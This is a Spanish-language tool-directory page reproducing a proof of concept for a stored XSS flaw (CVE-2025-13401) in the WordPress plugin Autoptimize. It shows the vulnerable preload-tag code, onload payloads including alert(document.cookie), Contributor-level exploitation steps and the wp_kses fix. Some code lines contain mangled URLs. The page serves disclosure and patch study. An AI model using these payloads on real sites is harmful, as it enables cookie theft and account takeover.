Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-13401-XSS-Stored — Prueba de concepto para XSS almacenado autenticado en Autoptimize < 3.1.14, aprovechando la sanitización insuficiente de atributos en la generación de etiquetas de precarga de imágenes. | Kitploit
Herramientas/GitHubGitHub/ciscocamelo/cve-2025-13401-xss-stored
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubciscocamelo/cve-2025-13401-xss-stored

CVE-2025-13401-XSS-Stored

Prueba de concepto para XSS almacenado autenticado en Autoptimize < 3.1.14, aprovechando la sanitización insuficiente de atributos en la generación de etiquetas de precarga de imágenes.

Ver Repositorio
hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Prueba de Concepto: XSS Almacenado en Autoptimize < 3.1.14

Vulnerabilidad: Cross-Site Scripting (XSS) Almacenado Autenticado (Contributor+) Versión Afectada: Autoptimize <= 3.1.13 Versión Parcheada: Autoptimize 3.1.14 Archivo: classes/autoptimizeImages.php

Descripción

La vulnerabilidad existe en el método create_img_preload_tag() dentro de classes/autoptimizeImages.php. Esta función es responsable de generar etiquetas <link rel="preload"> para imágenes encontradas en el contenido cuando la optimización de imágenes o la precarga está habilitada.

En la versión 3.1.13, la función utiliza un enfoque de "lista negra" (mediante preg_replace) para eliminar atributos específicos como title, alt, , , y de la etiqueta `` original antes de convertirla en una etiqueta . Sin embargo, no elimina atributos de manejadores de eventos como o .

class
id
width
height
<link>
onload
onerror

Un atacante autenticado (con al menos rol de Contributor) puede incrustar una etiqueta `` maliciosa en una entrada. Cuando el plugin procesa esta entrada para generar enlaces de precarga, el manejador de eventos malicioso se conserva e inyecta en el <head> de la página dentro de una etiqueta <link>. Dado que <link rel="preload"> soporta el evento onload, el JavaScript se ejecuta cuando el recurso se carga.

Código Vulnerable (v3.1.13)

root@kitploit:~
// classes/autoptimizeImages.php

public static function create_img_preload_tag( $tag ) {
    // ...
    // rewrite img tag to link preload img.
    $_from = array( '<img ', ' src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/," sizes=', ' srcset=' );
    $_to   = array( '<link rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
    $tag   = str_replace( $_from, $_to, $tag );

    // INSUFFICIENT SANITIZATION: Only removes specific attributes
    $tag = preg_replace( '/ ((?:title|alt|class|id|loading|fetchpriority|decoding|data-no-lazy|width|height)=".*")/Um', '', $tag );
    // ...
    return $tag;
}

Pasos de la Prueba de Concepto

Requisitos Previos

  1. Instalar Autoptimize versión 3.1.13.
  2. Habilitar "Optimizar Imágenes" o asegurarse de que la precarga de imágenes esté activa (por ejemplo, a través de "Precargar solicitudes específicas" o comportamientos predeterminados que actúan sobre imágenes).
    • Nota: La función vulnerable create_img_preload_tag se activa a menudo para imágenes detectadas en el viewport o precargadas explícitamente.

Payload

root@kitploit:~
<img src="https://example.com/image.jpg" onload="alert('XSS_POC_SUCCESS')">

Explotación

  1. Iniciar sesión como un usuario con rol de Contributor (o superior).
  2. Crear una nueva Entrada.
  3. Inyectar el payload en el contenido de la entrada (usando el bloque HTML personalizado o el editor de código).
    root@kitploit:~
    <!-- Malicious Image -->
    <img src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
  4. Guardar la entrada.
  5. Esperar a que un Administrador vea la entrada (o verla tú mismo).
  6. El plugin Autoptimize analizará la etiqueta ``.
  7. Generará un enlace de precarga en el código fuente HTML:
    root@kitploit:~
    <link rel="preload" as="image" href="/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
    Nota: Los atributos width, height, etc. pueden ser eliminados, pero onload permanece.
  8. El navegador analiza la etiqueta <link>, precarga el recurso y dispara el evento onload, ejecutando el XSS.

Corrección en v3.1.14

El parche reemplaza la regex de lista negra con wp_kses(), habilitando una estricta lista blanca de atributos permitidos para la etiqueta <link> generada.

root@kitploit:~
// classes/autoptimizeImages.php v3.1.14

$allowed_html = array(
    'link' => array(
        'rel'           => true,
        'as'            => true,
        'href'          => true,
        'imagesizes'    => true,
        'imagesrcset'   => true,
        'type'          => true,
        'media'         => true,
    ),
);
$tag = wp_kses( $tag, $allowed_html );
Descargar herramienta